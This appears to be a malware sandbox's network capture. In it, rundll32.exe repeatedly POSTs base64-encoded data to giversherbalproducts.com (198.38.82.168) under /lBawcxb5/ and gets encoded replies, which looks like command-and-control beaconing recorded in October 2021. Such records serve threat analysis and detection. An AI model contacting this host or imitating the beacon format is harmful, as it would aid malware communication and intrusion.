f3p/QUVCQ0FBfn15eH96fXt6f0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.2.3	49868	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:53.635008097 CEST	2094	OUT	POST /lBawcxb5/GzsaeR8FDw4qOh8mCAR2HDoCFS4bAhxFfnJ4ZX15c2R5Ynw= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:54.129704952 CEST	2141	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:53 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 36 66 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt6f0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.3	49762	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:12.545015097 CEST	1052	OUT	POST /lBawcxb5/HDN9NScAAw8PKwEFMi0/JTI5PEZ6c3lifn1yZX5heA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:13.081686020 CEST	1054	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:12 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 38 66 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXp8fkJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.2.3	49872	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:54.056927919 CEST	2107	OUT	POST /lBawcxb5/Hh4hIBsEGSF/JgN9ARgdOCgSRX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:54.510212898 CEST	2158	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:54 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 36 65 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt6eEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.2.3	49876	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:54.466028929 CEST	2157	OUT	POST /lBawcxb5/Hh4hIBsEGSF/JgN9ARgdOCgSRX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:54.946713924 CEST	2196	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:54 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 36 65 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt6eEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
92	192.168.2.3	49878	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:54.870142937 CEST	2194	OUT	POST /lBawcxb5/enl4GDYcBgIOewx5OBp/MiEbKDx8AkJ9dnlkenp3ZXhlfw== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:55.346467972 CEST	2201	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:54 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 36 65 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt6eUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	192.168.2.3	49881	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:55.264210939 CEST	2200	OUT	POST /lBawcxb5/enl4GDYcBgIOewx5OBp/MiEbKDx8AkJ9dnlkenp3ZXhlfw== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:55.712450981 CEST	2207	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:55 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 36 65 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt6eUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
94	192.168.2.3	49884	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:55.653172016 CEST	2205	OUT	POST /lBawcxb5/eX0ALgEICTI4BRlyQn12eWR6endleGV/ HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:56.105817080 CEST	2212	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:55 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 36 65 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt6eUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
95	192.168.2.3	49887	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:56.186971903 CEST	2214	OUT	POST /lBawcxb5/eX0ALgEICTI4BRlyQn12eWR6endleGV/ HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:56.713613033 CEST	2220	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:56 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 36 65 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt6ekJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
96	192.168.2.3	49889	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:56.461745977 CEST	2217	OUT	POST /lBawcxb5/PnwTCj8/DwIceXNDenV9ZXt9dGF5ZHg= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:56.954807043 CEST	2224	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:56 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 36 65 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt6ekJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
97	192.168.2.3	49893	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:57.124109030 CEST	2227	OUT	POST /lBawcxb5/PnwTCj8/DwIceXNDenV9ZXt9dGF5ZHg= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
